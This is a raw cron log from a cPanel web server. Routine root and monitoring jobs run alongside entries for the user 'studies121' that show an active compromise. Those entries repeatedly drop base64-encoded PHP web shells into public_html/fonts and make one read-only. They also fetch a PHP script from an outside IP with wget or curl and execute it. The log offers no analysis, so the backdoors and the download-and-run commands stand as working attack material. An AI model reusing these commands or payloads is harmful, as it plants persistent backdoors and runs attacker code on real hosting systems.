Sep  1 18:29:01 ip-184-168-122-23 CROND[5308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:29:01 ip-184-168-122-23 CROND[5312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:29:01 ip-184-168-122-23 CROND[5314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:29:01 ip-184-168-122-23 CROND[5315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:30:01 ip-184-168-122-23 CROND[5401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:30:01 ip-184-168-122-23 CROND[5403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:30:01 ip-184-168-122-23 CROND[5405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:30:01 ip-184-168-122-23 CROND[5409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:30:01 ip-184-168-122-23 CROND[5408]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:30:01 ip-184-168-122-23 CROND[5410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:30:01 ip-184-168-122-23 CROND[5412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:30:01 ip-184-168-122-23 CROND[5415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:31:01 ip-184-168-122-23 CROND[5526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:31:01 ip-184-168-122-23 CROND[5531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:31:01 ip-184-168-122-23 CROND[5529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:31:01 ip-184-168-122-23 CROND[5530]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:31:01 ip-184-168-122-23 CROND[5528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:32:01 ip-184-168-122-23 CROND[5625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:32:01 ip-184-168-122-23 CROND[5623]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:32:01 ip-184-168-122-23 CROND[5626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:32:01 ip-184-168-122-23 CROND[5624]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:32:01 ip-184-168-122-23 CROND[5627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:33:01 ip-184-168-122-23 CROND[5785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:33:01 ip-184-168-122-23 CROND[5787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:33:01 ip-184-168-122-23 CROND[5788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:33:01 ip-184-168-122-23 CROND[5789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:34:01 ip-184-168-122-23 CROND[5872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:34:01 ip-184-168-122-23 CROND[5873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:34:01 ip-184-168-122-23 CROND[5874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:34:01 ip-184-168-122-23 CROND[5876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:34:01 ip-184-168-122-23 CROND[5877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5961]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5966]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:35:01 ip-184-168-122-23 CROND[5968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5965]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  1 18:35:01 ip-184-168-122-23 CROND[5970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:36:01 ip-184-168-122-23 CROND[6084]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:36:01 ip-184-168-122-23 CROND[6086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:36:01 ip-184-168-122-23 CROND[6087]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:36:01 ip-184-168-122-23 CROND[6088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:36:01 ip-184-168-122-23 CROND[6089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:37:01 ip-184-168-122-23 CROND[6177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:37:01 ip-184-168-122-23 CROND[6179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:37:01 ip-184-168-122-23 CROND[6181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:37:01 ip-184-168-122-23 CROND[6180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:38:01 ip-184-168-122-23 CROND[6256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:38:01 ip-184-168-122-23 CROND[6258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:38:01 ip-184-168-122-23 CROND[6257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:38:01 ip-184-168-122-23 CROND[6260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:38:01 ip-184-168-122-23 CROND[6259]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:39:01 ip-184-168-122-23 CROND[6344]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:39:01 ip-184-168-122-23 CROND[6346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:39:01 ip-184-168-122-23 CROND[6347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:39:01 ip-184-168-122-23 CROND[6348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:39:01 ip-184-168-122-23 CROND[6349]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 18:40:01 ip-184-168-122-23 CROND[6526]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:40:01 ip-184-168-122-23 CROND[6527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:40:01 ip-184-168-122-23 CROND[6531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:40:01 ip-184-168-122-23 CROND[6534]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:40:01 ip-184-168-122-23 CROND[6535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:40:01 ip-184-168-122-23 CROND[6536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:40:01 ip-184-168-122-23 CROND[6539]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:40:01 ip-184-168-122-23 CROND[6540]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:41:01 ip-184-168-122-23 CROND[6630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
